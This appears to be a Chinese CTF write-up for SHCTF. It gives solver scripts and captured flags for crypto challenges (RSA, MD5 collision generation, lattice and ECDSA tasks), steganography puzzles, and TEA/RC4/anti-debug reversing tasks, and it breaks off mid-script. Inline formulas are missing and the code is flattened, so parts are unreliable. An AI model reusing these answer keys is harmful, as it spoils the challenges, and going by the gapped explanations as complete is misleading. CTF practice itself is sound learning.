可以从 开始向上遍历寻找 ,使得 是一个完全平方数,快速分解 。
题目有hint:并不是所有的题目都是8位哦。
推出是7bit的分组。
EXP:
import mathfrom Crypto.Util.number import long_to_bytes
# 填入参数n = 172113078605688993167549425692325605693719693815361211139292482064751327114103720980024048929660587708361336638391782482562146750015275689746844657810313957504514376746631004470588767450715447808496931019899675426647981223953742448155335425954936981689508246039354976739386690722681509534696120714425567962527e = 65537c = 47611886444337000128826989676221463775339201602510220886566675518701473035795983698414894648685567473325732994652173596155832091773084566434572294009136327143103984205257862772844337876748271318723897875683699389776414143689503392203746843332334862282735760778003407162335426111769147991087343730761557771446
def fermat_factorization(n): # 费马分解 a = math.isqrt(n) if a * a < n: a += 1
while True: b2 = a * a - n b = math.isqrt(b2) if b * b == b2: return a - b, a + b a += 1
# 分解Nprint("分解中...")p, q = fermat_factorization(n)print("found!")
phi = (p - 1) * (q - 1)d = pow(e, -1, phi)m = pow(c, d, n)
print("分组...")flag_str = ""temp_m = mwhile temp_m > 0: char_code = temp_m & 0x7F flag_str += chr(char_code) temp_m >>= 7
flag = flag_str[::-1]
print(f"\nFlag: {flag}")得到flag:SHCTF{99f4a238-9bd5-498a-b8ea-5cd243a36a19}
6.Challenge Info - [阶段1] 古典也颇有韵味啊
密文:bcin!guy zeui wh! wwps ce yryz ysex:wpurt{wc@xdii_u2frmt_cwkg_ktani0}encode_key:ABBAAABBABBAABABAABBABAAAAABBAAABAAABBAAAABAABAAAAAABAAAB的结构不是莫斯就是培根,在这里是培根密码,cyberchef cook一下。
得到两个密钥NOTUIGENERE MNSTIGEMEQE。

维吉尼亚解密一次,发现了这个oopt!you made jt! dchm yr uaum kzkp
基本是要出来了,但是应该存在位移量的偏差导致it变成了jt,直接对后面的qlhnc{sp@jkoa_o2beic_yjwn_qlujv0}的进行语义猜测。
qlhnc对应SHCTF,sp@jkoa这里应该指的是bacon即b@con,o2beic看起来像is什么什么的,联系前面的过程,应该是i2svig,yjwn应该跟的就是enere,最后是vicky0。
得到flag:SHCTF{ba@con_i2svig_enere_vicky0}
7.Challenge Info - [阶段2] Titanium Lock
task.py:from secret import flagimport randomfrom hashlib import md5from Crypto.Cipher import AESfrom Crypto.Util.number import bytes_to_long
class Cipher: def __init__(self): self.seed = random.randint(100000, 999999) self.c1 = [[random.randint(1, 100) for _ in range(12)] for _ in range(16)] self.c2 = [random.randint(1, 1000) for _ in range(16)] self.key = random.getrandbits(128)
def f1(self, msg): random.seed(self.seed) enc, last = [], 0 for c in str(bytes_to_long(msg)): r = random.randint(100000, 999999) last = ((int(c) + r) if int(c) % 2 == 0 else (int(c) * r)) ^ last enc.append(last) return enc
def f2(self, v): v += [random.randint(0, 255) for _ in range(-len(v) % 12)] res = [] for i in range(0, len(v), 12): chunk = v[i:i+12] res.extend([sum(self.c1[r][c] * chunk[c] for c in range(12)) + self.c2[r] for r in range(16)]) return res
def f3(self, data): out = [[n := random.getrandbits(128), (bin(n & self.key).count('1') % 3) % 2] for _ in range(128 * 20)] k = md5(str(self.key).encode()).digest() return out, AES.new(k, AES.MODE_CTR, nonce=b"Tiffany\x00").encrypt(str(data).encode()).hex()
def encrypt(self, data): o, c = self.f3(self.f2(self.f1(data))) return {"p1": self.c1, "p2": self.c2, "trace": o, "result": c}
if __name__ == "__main__": res = Cipher().encrypt(flag) with open("data.txt", "w") as f: for k, v in res.items(): f.write(f"{k} = {v}\n")3个加密,一个一个逐层逆推。
f3 源码:
f3 生成了 2560 组 trace,每组包含一个 128 位的随机数 和一个的比特 :
当 时,有 。可以将 展开为 128 位的二进制向量:
最后在 上利用高斯消元法,可得 key,之后进行AES解密。
f2 源码:
f2 将输入数据以 12 个为一组,与一个 的矩阵 p1 相乘,再加上一个 16 维的向量 p2,最终输出 16 个一组的数据:
直接截取 的前 12 行,构成一个 的可逆方阵 ,并取 和 的前 12 个元素。
f1 源码:
f1 将 Flag 转为十进制字符串后每一位进行两种操作。
如果 是偶数,将其与随机数 相加。如果 是奇数,将其与随机数 相乘。
由于 seed 仅有 ,可以直接暴力枚举 。
偶数假设:若 ,则大概率为偶数。
奇数假设:若 且 ,则大概率为奇数。
将收集到的十进制数字组合起来(若出现奇怪的乱码则意味01存在歧义,进行简单 DFS)。
EXP:
import randomfrom hashlib import md5from Crypto.Cipher import AESfrom Crypto.Util.number import long_to_bytesimport numpy as npimport sysimport os
def load_data(): # 读取数据 file_paths = [r"C:\Users\G1731\Downloads\165011_attachment\data.txt", "data.txt"] p1 = p2 = trace = result = None for path in file_paths: if os.path.exists(path): with open(path, 'r', encoding='utf-8') as f: for line in f: if "=" in line: k, v = line.strip().split("=", 1) if k.strip() == "p1": p1 = eval(v) elif k.strip() == "p2": p2 = eval(v) elif k.strip() == "trace": trace = eval(v) elif k.strip() == "result": result = v.strip() break if not p1: print("找不到 data.txt"); sys.exit() return p1, p2, trace, result
def gaussian_elimination_gf3(matrix, vector): # 解方程 rows, cols = len(matrix), len(matrix[0]) M = [row[:] + [val] for row, val in zip(matrix, vector)] pivot_row = 0 for col in range(cols): if pivot_row >= rows: break curr = pivot_row while curr < rows and M[curr][col] % 3 == 0: curr += 1 if curr == rows: continue M[pivot_row], M[curr] = M[curr], M[pivot_row] if M[pivot_row][col] % 3 == 2: M[pivot_row] = [(x * 2) % 3 for x in M[pivot_row]] for i in range(pivot_row + 1, rows): factor = M[i][col] if factor != 0: M[i] = [(r - factor * p) % 3 for r, p in zip(M[i], M[pivot_row])] pivot_row += 1
x = [0] * cols for i in range(rows - 1, -1, -1): pivot_col = next((j for j, v in enumerate(M[i][:-1]) if v != 0), -1) if pivot_col == -1: continue val = M[i][-1] for j in range(pivot_col + 1, cols): val = (val - M[i][j] * x[j]) % 3 x[pivot_col] = val return x
def solve_layer_3(trace_data, result_hex): # 高斯消元+AES print("f3逆向中") good_traces = [t[0] for t in trace_data if t[1] == 1][:140] mat = [[(n >> i) & 1 for i in range(128)] for n in good_traces] vec = [1] * len(good_traces)
bits = gaussian_elimination_gf3(mat, vec) key = sum((1 if b == 2 else b) << i for i, b in enumerate(bits)) print(f"Key: {hex(key)}")
k = md5(str(key).encode()).digest() pt = AES.new(k, AES.MODE_CTR, nonce=b"Tiffany\x00").decrypt(bytes.fromhex(result_hex)) return eval(pt.decode())
def solve_layer_2(p1, p2, data): # 矩阵还原 print("逆矩阵中") res = [] for i in range(0, len(data), 16): x = np.linalg.lstsq(p1, np.array(data[i:i+16]) - p2, rcond=None)[0] res.extend([int(round(n)) for n in x]) return res
def solve_layer_1(v): # 爆破与组装flag print("爆破中") for seed in range(100000, 1000000): random.seed(seed) r0 = random.randint(100000, 999999) val0 = v[0] ^ 0 if not ((val0-r0) in [0,2,4,6,8] or (r0!=0 and val0%r0==0 and (val0//r0) in [1,3,5,7,9])): continue
random.seed(seed) last = 0; digits = []; valid = True for i, curr in enumerate(v): val = curr ^ last; r = random.randint(100000, 999999); last = curr opts = [d for d in [val - r] if d in [0, 2, 4, 6, 8]] if r != 0 and val % r == 0 and (val // r) in [1, 3, 5, 7, 9]: opts.append(val // r)
if not opts: if i > 50: break # 截断 valid = False; break digits.append(opts[0] if len(opts) == 1 else (0, 1))
if valid and len(digits) > 50: print(f"得到Seed: {seed}") return assemble_flag(digits) return None
def assemble_flag(digits_struct): # 歧义去除 print("组装flag中") sys.setrecursionlimit(10000) found_flags = []
def dfs(idx, curr_str): if found_flags: return
# 补丁 if idx > 15 and idx % 10 == 0: try: b = long_to_bytes(int(curr_str + "0" * (len(digits_struct) - idx))) check_len = len(curr_str) // 3 if not all(32 <= x <= 126 for x in b[:check_len-1]): return except: pass
if idx == len(digits_struct): try: flag = long_to_bytes(int(curr_str)).decode() if "SHCTF{" in flag: found_flags.append(flag) except: pass return
val = digits_struct[idx] if isinstance(val, tuple): dfs(idx + 1, curr_str + "0") if not found_flags: dfs(idx + 1, curr_str + "1") else: dfs(idx + 1, curr_str + str(val))
dfs(0, "") if found_flags: print(f"\n[SUCCESS] {found_flags[0]}") else: print("Flag组装失败。")
if __name__ == "__main__": p1, p2, trace, result = load_data() data = solve_layer_3(trace, result) v_vec = solve_layer_2(p1, p2, data) solve_layer_1(v_vec)**找到flag: SHCTF{HYP3rLoN_mOd3_Lpn_@ff16X1Z_bl6_kl28_@3$_ctR_7FgDzBae0A8f3$61} **
8.Challenge Info - [阶段2] hash1
hash1.py:import hashlib
with open("/flag.txt","r") as f: flag = f.read().strip()
msg = input(f"Give me both different apples (hex(apple1), hex(apple2)) : ")
try: apples = msg.split(",") apple1 = bytes.fromhex(apples[0]) apple2 = bytes.fromhex(apples[1]) hash_apple1 = hashlib.md5(apple1).hexdigest() hash_apple2 = hashlib.md5(apple2).hexdigest()
if apple1 == apple2: print(f"Oh snap, both apples are exactly the same") elif hash_apple1 != hash_apple2: print(f"Oh no, they taste different") else: print(f"Yeah, both apples are delicious!!! This is your prize: {flag}")
except: print(f"format fault :(") exit()要求:内容不同,但 MD5 值完全相同。
使用工具Fastcol生成两个两个文件,将二进制文件转化位16进制数上传。

得到flag:SHCTF{c#n6R@TUl471#n5_BOth_HAshl_APpIes_AR3_v3RY_DEIiC10U5_l0I}
9.Challenge Info - [阶段2] hash2
hash2.py:import hashlibimport string
with open("/flag.txt","r") as f: flag = f.read().strip()
msg = input(f"Give me both special apples (hex(apple1), hex(apple2)) : ")
try: table = (string.ascii_letters + string.digits).encode()
apples = msg.split(",") apple1 = bytes.fromhex(apples[0]) apple2 = bytes.fromhex(apples[1]) hash_apple1 = hashlib.md5(apple1).hexdigest() hash_apple2 = hashlib.md5(apple2).hexdigest()
if len(apple1) <= 16 or len(apple1) <= 16: print(f"Both apples are too small") elif not all(ch in table for ch in apple1[:16]) or not all(ch in table for ch in apple2[:16]): print(f"No, both apples are too ordinary") elif apple1 == apple2: print(f"Oh snap, both apples are exactly the same") elif hash_apple1 != hash_apple2: print(f"Oh no, they taste different") else: print(f"Yeah, both apples are delicious!!! This is your prize: {flag}")
except: print(f"format fault :(") exit()要求:内容不能完全相同,MD5必须相同,文件的前 16 个字符必须是字母或数字。
还是用fastcoll。

得到flag:SHCTF{@L7h0u9h_h4sHz_@pplES_hAv3_5IGnS_th3Y_@R3_StlLI_d3LICIoUs}
10.Challenge Info - [阶段3] hash3
hash3.py:import hashlibimport string
with open("/flag.txt","r") as f: flag = f.read().strip()
msg = input(f"Give me both special apples (hex(apple1), hex(apple2)) : ")
try: table = (string.ascii_letters + string.digits).encode()
apples = msg.split(",") apple1 = bytes.fromhex(apples[0]) apple2 = bytes.fromhex(apples[1]) hash_apple1 = hashlib.md5(apple1).hexdigest() hash_apple2 = hashlib.md5(apple2).hexdigest()
if len(apple1) <= 16 or len(apple1) <= 16: print(f"Both apples are too small") elif not all(ch in table for ch in apple1[:16]) or not all(ch in table for ch in apple2[:16]): print(f"No, both apples are too ordinary") elif apple1[:16] == apple2[:16]: print(f"Oh snap, both apples are the same") elif hash_apple1 != hash_apple2: print(f"Oh no, they taste different") else: print(f"Yeah, both apples are delicious!!! This is your prize: {flag}")
except: print(f"format fault :(") exit()要求:哈希值必须完全相同。前16个字节必须不同。前16个字节必须是纯字母或数字。 工具HashClash,指定前缀攻击。
mkdir cpc_workdircd cpc_workdirecho -n "aaaaaaaaaaaaaaaa" > prefix1.txtecho -n "bbbbbbbbbbbbbbbb" > prefix2.txt../scripts/cpc.sh prefix1.txt prefix2.txt纯爆破攻击太久了,要两个小时多,当时也没截图,只有结果。
[*] Time before backtrack: 2890 s22841931 25633554432 36447263102 512Block 1: workdir6/coll1_1250198965cd d0 8d c9 5b da b5 df df 89 cc 5b ab 2c 0b 1f19 0a f4 6c 67 f4 26 05 11 b0 14 1e 87 54 31 15f6 04 c9 28 63 c8 d8 3c 56 fe 21 fe 49 78 98 4928 cb 81 ef 53 c9 5a da e2 f0 a2 7f 34 c8 68 1bBlock 2: workdir6/coll2_1250198965cd d0 8d c9 5b da b5 df df 89 cc 5b ab 2c 0b 1f19 0a f4 6c 67 f4 26 05 11 b0 14 1e 87 54 31 15f6 04 c9 28 63 c8 d8 3c 56 fe 21 fe 49 78 b8 4928 cb 81 ef 53 c9 5a da e2 f0 a2 7f 34 c8 68 1bFound collision![*] Step 6 completed[*] Number of backtracks until now: 0[*] Collision generated: prefix1.txt.coll prefix2.txt.colla7ad43a364344b0814f8a2c30cf6abff prefix1.txt.colla7ad43a364344b0814f8a2c30cf6abff prefix2.txt.coll[*] Process completed in 127 minutes (0 backtracks).yu@localhost:~/hashclash/cpc_workdir$
贴个图,表示战绩可查吧。

得到flag:SHCTF{hMm_i_R3@l1Y_tAS7ed_tH3_M#ST_dEL1CI#U5_Hashe_AppI3s_1n_7h3_WorLd}
11.Challenge Info - [阶段2] 隐藏的子集和?
chall.py:#!/usr/bin/env python# coding: utf-8
# sage
from Crypto.Util.number import *from sage.all import *
def derive_M(n): iota=0.035 Mbits=int(2 * iota * n^2 + n * log(n,2)) M = random_prime(2^Mbits, proof = False, lbound = 2^(Mbits - 1)) return Integer(M)
def genHssp(m, n, p, flag): F = GF(p) x = random_matrix(F, 1, n) A = random_matrix(ZZ, n, m, x=0, y=3) A[randint(0, n-1)] = vector(ZZ, list(bin(bytes_to_long(flag))[2:])) h = x * A return h
def data_write(p, h): with open("data.txt", "w") as file: file.write(str(p) + "\n") h_list = list(h[0]) file.write(str(h_list) + "\n")
flag = b'SHCTF{test_test_flag_here_here_just_test_1}'
m = bytes_to_long(flag).bit_length()n = 70p = derive_M(n)h = genHssp(m, n, p, flag)data_write(p, h)题目生成了一个 的私钥矩阵 ,以及一个 的矩阵 (元素取值为 0, 1, 2。
给出的公钥 。
矩阵 的其中一行被替换成了 Flag 的二进制流。
面对这种HSSP的题目,可以使用正交格攻击:
构造一个格来寻找与公钥向量 正交的短向量。计算这些正交向量的右核。因为 的行向量满足生成 的关系,因为它们肯定存在于这个正交补空间中。通过对核的基向量进行格规约,就可以恢复A。因为 Flag 所在的行只包含 0 和 1,它的欧几里得范数一定会比 中其他包含 2的行更小。只要找到这个最短向量,就可以拿到 Flag。
EXP:
import astfrom sage.all import *from Crypto.Util.number import long_to_bytesimport sys
def solve(): # 读取数据 file_path = "data.txt" try: with open(file_path, 'r') as f: lines = f.readlines() p = int(lines[0].strip()) h = ast.literal_eval(lines[1].strip()) except Exception as e: print(f"[-] Error reading file: {e}") return
m = len(h) n = 70 target_ortho_count = m - n print(f"[*] Parameters: m={m}, n={n}, expected orthogonal vectors={target_ortho_count}")
# 构建格寻找正交向量 M_lat = Matrix(ZZ, m + 1, m + 1) for i in range(m): M_lat[i, i] = 1 M_lat[i, m] = h[i] M_lat[m, m] = p
print("Running...") L_red = M_lat.LLL()
ortho_vecs = [] for row in L_red: if row[m] == 0: ortho_vecs.append(row[:m])
found_count = len(ortho_vecs) # 保留前 m-n 个 if found_count > target_ortho_count: ortho_vecs = ortho_vecs[:target_ortho_count]
# 计算核并使用 BKZ 规约 V = Matrix(ZZ, ortho_vecs) print("[*] Computing right kernel...") K = V.right_kernel() B_A = K.basis_matrix()
print("Running") B_A_red = B_A.BKZ(block_size=20)
# 扫描 Flag print("[*] Scanning basis vectors for Flag...") for row in B_A_red: for r in [row, -row]: vals = list(r) # Flag只包含 0 和 1 if all(v in [0, 1] for v in vals): try: bits_str = "".join(str(x) for x in vals) flag_int = int(bits_str, 2) flag_bytes = long_to_bytes(flag_int) if b"SHCTF" in flag_bytes: print(f"\nFlag: {flag_bytes.decode(errors='ignore')}") return except: pass
if __name__ == "__main__": solve()得到flag:SHCTF{2c128cca-9600-4c9a-aeec-bd69e6e27de6}
12.Challenge Info - [阶段3] 椭圆曲线???!!!
task.py:import hashlibimport ecdsafrom Crypto.Util.number import *import randomimport json
def ver_length(secret_data):
p = getPrime(256) secret = bytes_to_long(secret_data) start = secret - 19 * p end = secret + 21 * p
return start, end
def init(secret_data, msg1, msg2):
secret = bytes_to_long(secret_data)
gen = ecdsa.NIST256p.generator order = gen.order()
pub_key = ecdsa.ecdsa.Public_key(gen, gen * secret) priv_key = ecdsa.ecdsa.Private_key(pub_key, secret)
k = random.getrandbits(order.bit_length())
hash1 = int(hashlib.sha256(msg1).hexdigest(), 16) signature1 = priv_key.sign(hash1, k)
hash2 = int(hashlib.sha256(msg2).hexdigest(), 16) signature2 = priv_key.sign(hash2, k)
return signature1, signature2, k, secret
def main():
flag = b'SHCTF{test_flag_here}' msg1 = b"Welcome_to_SHCTF" msg2 = b"It's_a_easy_problem_you_can_solve"
start, end = ver_length(flag) sig1, sig2, k, secret_value = init(flag, msg1, msg2)
output_data = { 'msg1': msg1.decode(), 'msg2': msg2.decode(), 'sig1_r': hex(sig1.r)[2:], 'sig1_s': hex(sig1.s)[2:], 'sig2_r': hex(sig2.r)[2:], 'sig2_s': hex(sig2.s)[2:], 'start': hex(start), 'end': hex(end) }
with open('data.json', 'w') as f: json.dump(output_data, f, indent=2)
if __name__ == "__main__": main()代码中包含 flag 的 secret 只进行了极其简单的线性运算:
二元一次方程组,两式相减可直接消去 secret 并得到 的值:
因此 ,求出 后,带回原式即可直接得到 flag:
。
感觉是非预期解,因为太简单了。
EXP:
import jsonfrom Crypto.Util.number import long_to_bytes
def solve(): # 读取数据 with open('data.json', 'r') as f: data = json.load(f)
print("解方程") start = int(data['start'], 16) end = int(data['end'], 16)
# 求解 p # end - start = 40 * p p = (end - start) // 40
# 得flag # secret = start + 19 * p secret = start + 19 * p
print(f"Flag: {long_to_bytes(secret).decode()}")
if __name__ == "__main__": solve()得到flag:SHCTF{205436e5-d598-4859-a237-d3f40e7ed45b}
#MISC:
1.Challenge Info - [阶段1] Evan


简述思路:
binwalk提取,压缩包解一下伪加密。
得到flag:SHCTF{Evan_1s_s0_h4nds0me!}
2.Challenge Info - [阶段1] Office
office隐写,我打不开,直接改后缀zip,压缩。

随便翻翻,发现一个与base有关的字符串,lRy1m2qYkmewkTqDrneCoTCQoUiFqm7zqoeRoT7DqDCAqm7QsTqRuT3PqjWUt5e7。

发现一个自定义base64表。
EXP:
import base64
ciphertext = "lRy1m2qYkmewkTqDrneCoTCQoUiFqm7zqoeRoT7DqDCAqm7QsTqRuT3PqjWUt5e7"
custom_table = "+/0123456abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ789"standard_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
trans = str.maketrans(custom_table, standard_table)standard_ciphertext = ciphertext.translate(trans)
# 自定义解码try: flag = base64.b64decode(standard_ciphertext).decode('utf-8') print(f"{flag}")except Exception as e: print(f"错误: {e}")得到flag:SHCTF{MS_Office_is_the_best_office_software.wps}
3.Challenge Info - [阶段1] 不止二维码
对附件的二维码进行StegSolve查看,会发现二维码会发生一点改变。
qr扫一扫:
FLAG_PART_2: ABBB/AABBB/AAAAA/BBBBB/ABBBBA/BBBBA/B/AABBB/ABBBFLAG_PART_3: MkZkbDg3ZlY3ZEQxalNGenQyZUFYT3E0NmRrTXFVFLAG_PART_1: SHCTF{55a23d24-ABBB/AABBB/AAAAA/BBBBB/ABBBBA/BBBBA/B/AABBB/ABBB用莫斯密码解码,得到b705-4e7b。
MkZkbDg3ZlY3ZEQxalNGenQyZUFYT3E0NmRrTXFV Base64 -> Base62 -> Base58 -> Base32解码得到-942e-bdd}。
得到flag:SHCTF{55a23d24-b705-4e7b-942e-bdd}
4.Challenge Info - [阶段1] 提问前请先搜索

文字题很喜欢f12看看,这里存在空白处,预计flag点。

控制台回显和network存在一个字体,但没有加载出来。
写一个JavaScript抓取一下数据。
(function() { console.log("%c抓取中", "color: cyan; font-weight: bold;"); const allElements = document.querySelectorAll('*'); allElements.forEach(el => { const style = window.getComputedStyle(el); if (style.fontFamily.includes("SH2Sans")) { const text = el.innerText || el.textContent; if (text.trim().length > 0) { console.log("%c[发现目标]:", "color: orange;", el); console.log("%c[原始文本]:", "color: white;", text); console.log("%c[unicode编码]:", "color: yellow;", Array.from(text).map(c => "0x" + c.charCodeAt(0).toString(16)).join(', ') ); } } });})();抓取中VM228:9 [发现目标]: <strong class="find"> </strong>VM228:10 [原始文本]: VM228:11 [unicode编码]: 0x20, 0xe130, 0xec35, 0xed5d, 0xf777, 0xf348, 0xefab, 0xf5be, 0xe250, 0xe0f0, 0xf531, 0xeddc, 0xece1, 0xe0f0, 0xe08b, 0xf0e3, 0xe4fb, 0xed4d, 0xe0f0, 0xeddc, 0xf531, 0xe0f0, 0xe082, 0xe5af, 0xf32c, 0x20拿下unicode编码,去看字体对应unicode编码。
得到flag:SHCTF{Do_nOt_r3Iy_On_Al}
备注:由于相当于是再做一次,交不了,不确定这个flag是不是正确的,但存疑点也就O,0,I,1之中,几种组合肯定有一个是对的。
5.Challenge Info - [阶段1] 签到

6.Challenge Info - [阶段1] 薇薇安的美照
010editor打开图片发现尾部存在SHCTF{MV84Xzc0XzIwXzdfOTJfMTZfNV8xOF84Xzc=}。
base解码后得到1_8_74_20_7_92_16_5_18_8_7。
联系题目背景化学元素。
得到flag:SHCTF{H_O_W_CA_N_U_S_B_AR_O_N}
备注:两个字符的忘记是都大写,还是保持了,反正flag就这个。
7.Challenge Info - [阶段2] 奇怪的数据

一眼像素点的考点,写个脚本恢复一下。
EXP:
import reimport mathfrom PIL import Image
def solve_pixel_challenge(file_path, output_name='recovered_flag.png'): try: with open(file_path, 'r', encoding='utf-8') as f: data = f.read()
print("正在提取数据...") pixels = re.findall(r'\((\d+),\s*(\d+),\s*(\d+)\)', data) pixel_data = [(int(r), int(g), int(b)) for r, g, b in pixels]
total_pixels = len(pixel_data) if total_pixels == 0: print("错误!!!") return
print(f"总像素点数量:{total_pixels}")
width = int(math.sqrt(total_pixels)) while total_pixels % width != 0: width -= 1 height = total_pixels // width
print(f"可能的图像尺寸: {width} x {height}")
img = Image.new('RGB', (width, height)) img.putdata(pixel_data)
img.save(output_name) print(f"图片已保存为: {output_name}")
except FileNotFoundError: print(f"找不到文件,请确认路径:{file_path}") except Exception as e: print(f"错误: {e}")
if __name__ == "__main__": target_path = r'flag.txt' solve_pixel_challenge(target_path)得到一张二维码,qr一下得到U0hDVEZ7VGgzX1F1ZXN0MW9uNV9BcmVfVG9vX0QxZmZpY3UxdCEhISF9,扔给赛博厨子。
得到flag:SHCTF{Th3_Quest1on5_Are_Too_D1fficu1t!!!!}
#逆向:
1.Challenge Info - [阶段1] a_cup_of_tea
看题目表示就是指TEA加密喽。
程序通过 scanf("%16s", src) 获取输入,并检查长度是否为 16 位。
随后调用 sub_1241:
void __fastcall sub_1241(__int64 a1, __int64 a2){ int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; i <= 15; ++i ) *(_DWORD *)(4LL * (i / 4) + a1) += *(char *)(i + a2) << (8 * (i % 4));}输入的字符串转换成 4 个 32 位无符号整数。
sub_134E 中存在tea加密:
__int64 __fastcall sub_134E(unsigned int *a1, _DWORD *a2){ unsigned int v3; // [rsp+1Ch] [rbp-24h] unsigned int v4; // [rsp+20h] [rbp-20h] int v5; // [rsp+24h] [rbp-1Ch] unsigned int i; // [rsp+28h] [rbp-18h]
v3 = *a1; v4 = a1[1]; v5 = 0; for ( i = 0; i <= 0x1F; ++i ) { v5 -= 1640531527; v3 += (v4 + v5) ^ (16 * v4 + *a2) ^ ((v4 >> 5) + a2[1]); v4 += (v3 + v5) ^ (16 * v3 + a2[2]) ^ ((v3 >> 5) + a2[3]); } *a1 = v3; a1[1] = v4; return v4;}函数 sub_1439 中存在:
_BOOL8 __fastcall sub_1439(unsigned int *a1){ sub_134E(a1, aWelcomeToShctf_0); if ( *a1 != -1699360031 || a1[1] != -1120419751 ) return 0; sub_134E(a1 + 2, aWelcomeToShctf_0); return a1[2] == -1515845715 && a1[3] == -1804683212;}追溯一下得到密钥与密文:
key:"welcome_to_SHCTF"
密文:
0x9AB5D2E1, 0xBD37C059
0xA5A607AD, 0x946EB834
EXP:
import struct
def decrypt(v, k): v0, v1 = v[0], v[1] k0, k1, k2, k3 = k[0], k[1], k[2], k[3] delta = 0x9E3779B9 s = (delta * 32) & 0xFFFFFFFF
for i in range(32): v1 = (v1 - (((v0 << 4) + k2) ^ (v0 + s) ^ ((v0 >> 5) + k3))) & 0xFFFFFFFF v0 = (v0 - (((v1 << 4) + k0) ^ (v1 + s) ^ ((v1 >> 5) + k1))) & 0xFFFFFFFF s = (s - delta) & 0xFFFFFFFF
return v0, v1
key_str = b"welcome_to_SHCTF"key = struct.unpack("<4I", key_str)
encrypted_blocks = [ (0x9AB5D2E1, 0xBD37C059), (0xA5A607AD, 0x946EB834)]
flag_body = ""for block in encrypted_blocks: res = decrypt(block, key) flag_body += struct.pack("<2I", *res).decode()
print(f"{flag_body}")print(f"Flag: SHCTF{{{flag_body}}}")得到flag:SHCTF{W0w_u_kN0w_t3A!!}
2.Challenge Info - [阶段1] where are you
程序运行后回显 “Please input the flag:” ,并获取输入。
sub_401FE0 函数:
for ( i = 0; i < 24; ++i ) { if ( (input[i] ^ 0x22) != byte_4031F8[i] ) return "Wrong Flag!";}这是一个陷阱函数,回显假flag。
程序深层包含一个 TLS 回调函数 TlsCallback_0(地址 0x402210),它会在 main 函数执行前运行。
完成操作:
1.将 0x402090 地址处的数据与 0xC2 进行异或。
for ( i = 0; i < dwSize; ++i ) lpAddress[i] ^= 0xC2;即rc4加密函数。
2.使用 VirtualProtect 修改内存权限,并在原本的检查函数 sub_401FE0 开头写入一个 JMP 指令,跳转到刚才解密出的 0x402090 处执行。
3.使用硬编码 MyS3cr3tS33d 生成 RC4 密钥。
seed = "MyS3cr3tS33d";for ( i = 0; i < 16; ++i ) rc4_key[i] = (seed[i % 12] ^ 0xAA) + (i * 7);静态分析几次后,寻找一下密文。
逆一下rc4,就出来了。
EXP:
def rc4_decrypt(data, key): S = list(range(256)) j = 0 for i in range(256): j = (j + S[i] + key[i % len(key)]) % 256 S[i], S[j] = S[j], S[i]
res = [] i = j = 0 for byte in data: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] res.append(byte ^ S[(S[i] + S[j]) % 256]) return bytes(res)
seed = b"MyS3cr3tS33d"key = []for i in range(16): val = (seed[i % 12] ^ 0xAA) + (i * 7) key.append(val & 0xFF)
ciphertext = [ 0xEA, 0x64, 0x65, 0x15, 0xFF, 0x0A, 0xAD, 0x41, 0x6F, 0x81, 0xA1, 0x7B, 0xA8, 0xD0, 0x5E, 0x69, 0x74, 0x92, 0x6A, 0xE3, 0xBD, 0x6B, 0x33, 0x97, 0x2D, 0xC2, 0xB5, 0xFA, 0xD0, 0x8F, 0x6D, 0x3F, 0xAD, 0x00, 0xD0, 0x91]
flag = rc4_decrypt(ciphertext, key)print(f"Flag:{flag.decode()}")得到flag:SHCTF{you_found_me_and_TLS_callback}
2.Challenge Info - [阶段3] strange_chain
输入会采用 PKCS#7 标准将数据填充至 8 字节的倍数(40字节)。核心函数逻辑位于 sub_140001A90。
程序并不直接调用子函数,而是通过 sub_140001410 在运行时动态申请构建指令流:
使用 VirtualAlloc 申请内存,在内存中写入 48 B8 [8字节地址] FF E0(即 MOV RAX, <sub_func_addr>; JMP RAX)。
形成了一条由八个函数串联起来的函数链。
此外:程序在拼接逻辑中插入了 ThreadHideFromDebugger 检测,似乎存在动态调试的防御措施。(反正我也不会其实)
整体加密过程:
1. 轮函数
每一轮的执行顺序由内部的 e-z-e-z-e-z-r-e 决定:
- F 函数:。
- **e **:将当前侧数据与 F 的另一侧进行异或,并且叠加轮密钥 。
- **z **:根据位移按数组 进行动态循环移位:。
- **r **:每 3 轮执行一次左右半部分数据交换。
**2. 动态常量生成 **
轮密钥 和位移常数 由 sub_140002980 生成。它是基于一个硬编码,通过算法在内存中填充。
思路:
通过**(好像是)**过掉反调试拿到生成的 数组和 数组。(我的x64dbg没有隐藏的插件,但没出问题,不知道为什么)
按照 e-z-e-z-e-z-r-e 的顺序执行逆运算,从第 12 轮逆推,得到flag。
EXP:
import struct
def rol(v, n): return ((v << n) & 0xFFFFFFFF) | (v >> (32 - n))
def ror(v, n): n &= 0x1F return (v >> n) | ((v << (32 - n)) & 0xFFFFFFFF)
def f_func(v): return (v + (rol(v, 5) ^ rol(v, 13))) & 0xFFFFFFFF
S = [0x950C6CF1, 0x8BC2D031, 0xEE6ABBA4, 0x4C5DF953, 0xC8BCC1D1, 0x67164321, 0x4CCDE11F, 0x47E4B2D6, 0xF00A942E, 0x94148A29, 0xA6BE90AB, 0x10D6519C, 0xC09E7A48, 0x946FEB92]K = [0x9E3779B9, 0x7CAF18F1, 0x04C080A4, 0x17A8D338, 0x5A645F7E, 0x3F639A86, 0x6F7A67D3, 0x7CAF18F1, 0x17A8D338, 0x3F639A86, 0x04C080A4, 0x17A8D338, 0x5A645F7E, 0x3F639A86, 0x6F7A67D3, 0x7CAF18F1, 0x17A8D338, 0x3F639A86, 0x04C080A4, 0x17A8D338, 0x5A645F7E, 0x3F639A86, 0x6F7A67D3, 0x7CAF18F1, 0x17A8D338, 0x3F639A86]
cipher = [ (0x871DC02B, 0x9C6484E5), (0x18BBD956, 0x41F17A4E), (0x1693BFD5, 0xF3565E7B), (0xE5BA95C5, 0xCC8AC8BD), (0xB4B69055, 0x291E3DBC)]
def decrypt_block(L, R): for i in range(12, 0, -1): if i % 3 == 0: L, R = R, L R = ror(R, (S[i] ^ L) & 0x1F) R = (R - K[2 * i + 1]) & 0xFFFFFFFF R ^= f_func(L) L = ror(L, (S[i] ^ R) & 0x1F) L = (L - K[2 * i]) & 0xFFFFFFFF L ^= f_func(R) R = (R - (S[0] ^ K[1])) & 0xFFFFFFFF L = (L - (S[0] ^ K[0])) & 0xFFFFFFFF return L, R
